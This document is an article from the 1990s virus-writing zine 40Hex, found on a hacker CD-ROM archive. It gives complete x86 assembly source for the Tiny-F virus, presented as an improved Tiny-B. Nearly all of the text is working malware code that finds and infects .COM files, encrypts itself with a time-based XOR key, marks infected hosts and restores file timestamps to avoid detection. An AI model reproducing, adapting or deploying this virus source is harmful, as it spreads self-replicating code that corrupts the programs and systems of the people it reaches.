home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_3.009 < prev    next >
Text File  |  1995-01-03  |  8KB  |  200 lines

  1.  40Hex Issue 3                                                      0009
  2.  
  3.                             The Tiny-F Virus
  4.  
  5.        In our first issue we gave you the source for the Tiny-B virus.
  6.        Well some people don't quit.
  7.  
  8.        After months of struggling Psyco-genius decided to give
  9.        his attempts to make this a good virus over to someone who
  10.        knows what he's doning.
  11.  
  12.        So Dark (mastered assembler in one week) Angel did some mods
  13.        and here we have it.
  14.  
  15. -------------------------------------------------------------------------------
  16. tinyv   SEGMENT BYTE PUBLIC 'code'
  17.         ASSUME  CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv
  18.  
  19.         ORG     100h
  20.  
  21. DOS     EQU     21h
  22.  
  23. start:  JMP     pgstart
  24. exlbl:  db      0CDh, 20h, 7, 8, 9
  25. pgstart:CALL    tinyvir
  26. tinyvir:
  27.         POP     SI                      ; get SI for storage
  28.         SUB     SI,offset tinyvir       ; reset SI to virus start
  29.         MOV     BP,[SI+blnkdat]         ; store SI in BP for return
  30.         ADD     BP, OFFSET exlbl
  31.         CALL    endecrpt
  32.         JMP     SHORT realprog
  33.  
  34. ;-----------------------------------------------------------------------------
  35. ; nonencrypted subroutines start here
  36. ;-----------------------------------------------------------------------------
  37.  
  38. ; PCM's encryption was stupid, mine is better - Dark Angel
  39. endecrpt:
  40. ; Only need to save necessary registers - Dark Angel
  41.         PUSH    AX                      ; store registers
  42.         PUSH    BX
  43.         PUSH    CX
  44.         PUSH    SI
  45. ; New, better, more compact encryption engine
  46.         MOV     BX, [SI+EN_VAL]
  47.         ADD     SI, offset realprog
  48.         MOV     CX, endenc - realprog
  49.         SHR     CX, 1
  50.         JNC     start_encryption
  51.         DEC     SI
  52. start_encryption:
  53.         MOV     DI, SI
  54. encloop:
  55.         LODSW                           ; DS:[SI] -> AX
  56.         XOR     AX, BX
  57.         STOSW
  58.         LOOP    encloop
  59.  
  60.         POP     SI                      ; restore registers
  61.         POP     CX
  62.         POP     BX
  63.         POP     AX
  64.         RET
  65. ;-----end of encryption routine
  66. nfect:
  67.         CALL    endecrpt
  68.         MOV     [SI+offset endprog+3],AX; point to data
  69.         MOV     AH,40H                  ; write instruction
  70.         LEA     DX,[SI+0105H]           ; write buffer loc    |
  71.         MOV     CX,offset endprog-105h  ; (size of virus)  --\|/--
  72.         INT     DOS                     ; do it!
  73.         PUSHF
  74.         CALL    endecrpt
  75.         POPF
  76.         JC      outa1                    ; error, bug out
  77.         RET
  78. outa1:
  79.         JMP     exit
  80.  
  81.  
  82. ;-----------------------------------------------------------------------------
  83. ;    Unencrypted routines end here
  84. ;-----------------------------------------------------------------------------
  85. realprog:
  86.         CLD                             ; forward direction for string ops
  87. ; Why save DTA?  This part killed.  Saves quite a few bytes.  Dark Angel
  88. ; Instead, set DTA to SI+ENDPROG+131h
  89.         MOV     AH, 1Ah                 ; Set DTA
  90.         LEA     DX, [SI+ENDPROG+131h]   ;  to DS:DX
  91.         INT     21h
  92.  
  93.         LEA     DX,[SI+fspec]           ; get filespec (*.COM)
  94.         XOR     CX, CX                  ;        ||   (clear regs)
  95.         MOV     AH,4EH                  ;        ||   (find files)
  96. mainloop:                               ;       \||/
  97.         INT     DOS                     ;    ----\/----
  98.         JC      hiccup                  ; no more files found, terminate virus
  99. ; Next part had to be changed to account for new DTA address - Dark Angel
  100.         LEA     DX, [SI+ENDPROG+131h+30]; set file name pointer
  101.                                         ; (offset 30 is DTA filename start)
  102.         MOV     AX,3D02H                ; open file
  103.         INT     DOS                     ; do it!
  104.         MOV     BX,AX                   ; move file handle to BX
  105.         MOV     AH,3FH                  ; read file
  106.         LEA     DX,[SI+endprog]         ; load end of program (as buffer pntr)
  107.         MOV     DI,DX                   ; set Dest Index to area for buffer
  108.         MOV     CX,0003H                ; read 3 bytes
  109.         INT     DOS                     ; do it!
  110.         CMP     BYTE PTR [DI],0E9H      ; check for JMP at start
  111.         JE      infect                  ; If begins w/JMP, Infect
  112. nextfile:
  113.         MOV     AH,4FH                  ; set int 21 to find next file
  114.         JMP     mainloop                ; next file, do it!
  115. hiccup: JMP     exit
  116. infect:
  117.         MOV     AX,5700h                ; get date function
  118.         INT     DOS                     ; do it!
  119.         PUSH    DX                      ; store date + time
  120.         PUSH    CX
  121.         MOV     DX,[DI+01H]             ; set # of bytes to move
  122.         MOV     [SI+blnkdat],DX         ;  "  " "    "   "   "
  123. ; Tighter Code here - Dark Angel
  124.         XOR     CX,CX                   ;  "  " "    "   "   " (0 here)
  125.         MOV     AX,4200H                ; move file
  126.         INT     DOS                     ; do it!
  127.         MOV     DX,DI                   ; set dest index to area for buffer
  128.         MOV     CX,0002H                ; two bytes
  129.         MOV     AH,3FH                  ; read file
  130.         INT     DOS                     ; do it!
  131.         CMP     WORD PTR [DI],0807H     ; check for infection
  132.         JE      nextfile                ; next file if infected
  133. getaval:                                ; encryption routine starts here
  134. ; My modifications here - Dark Angel
  135.         MOV     AH, 2Ch                 ; DOS get TIME function
  136.         INT     DOS                     ; do it!
  137.         OR      DX, DX                  ; Is it 0?
  138.         JE      getaval                 ; yeah, try again
  139.         MOV     word ptr [si+offset en_val], DX ; Store it
  140. ; Tighter code here - Dark Angel
  141.         XOR     DX,DX                   ; clear regs
  142.         XOR     CX,CX                   ;   "    "
  143.         MOV     AX,4202H                ; move file pointer
  144.         INT     DOS                     ; do it!
  145.         OR      DX,DX                   ; new pointer location 0?
  146.         JNE     nextfile                ; if no then next file
  147.         CMP     AH,0FEH                 ; new pointer loc too high?
  148.         JNC     nextfile                ; yes, try again
  149.         CALL    nfect
  150.         MOV     AX,4200H                ; move pointer
  151.         XOR     CX, CX                  ; clear reg
  152.         MOV     DX,OFFSET 00001         ; where to set pointer
  153.         INT     DOS                     ; do it!
  154.         MOV     AH,40H                  ; write to file
  155.         LEA     DX,[SI+offset endprog+3]; write data at SI+BUFFER
  156.         MOV     CX,0002H                ; two bytes (the JMP)
  157.         INT     DOS                     ; do it!
  158.         MOV     AX,5701h                ; store date
  159.         POP     CX                      ; restore time
  160.         POP     DX                      ; restore date
  161.         INT     DOS                     ; do it!
  162. exit:
  163.         MOV     AH,3EH                  ; close file
  164.         INT     DOS                     ; do it!
  165.  
  166. ; Return DTA to old position - Dark Angel
  167.  
  168.         MOV     AH, 1Ah                 ; Set DTA
  169.         MOV     DX, 80h                 ;  to PSP DTA
  170.         INT     21h
  171.  
  172.         JMP     BP
  173.  
  174. ;-----------------------------------------------------------------------------
  175. ; encrypted data goes here
  176. ;-----------------------------------------------------------------------------
  177.  
  178. fspec   LABEL   WORD
  179.         DB      '*.COM',0
  180. nondata DB      'Tiny-F version 1.1'    ; Program identification
  181.         DB      'ÿÇ╫@&ε╖│╜δ'          ; author identification
  182.         DB      'Released 10-19-91'     ; release date
  183. endenc  LABEL   BYTE                    ; end of encryption zone
  184. ;-----------------------------------------------------------------------------
  185. ; nonencrypted data goes anywhere after here
  186. ;-----------------------------------------------------------------------------
  187.  
  188. blnkdat LABEL   WORD
  189.         DW      0000H
  190.  
  191. ; Only en_val is needed now because of new encryption mechanism
  192. en_val  DW      0h
  193.  
  194. endprog LABEL   WORD
  195. tinyv   ENDS
  196.         END     start
  197. -------------------------------------------------------------------------------
  198.  
  199. Downloaded From P-80 International Information Systems 304-744-2253
  200.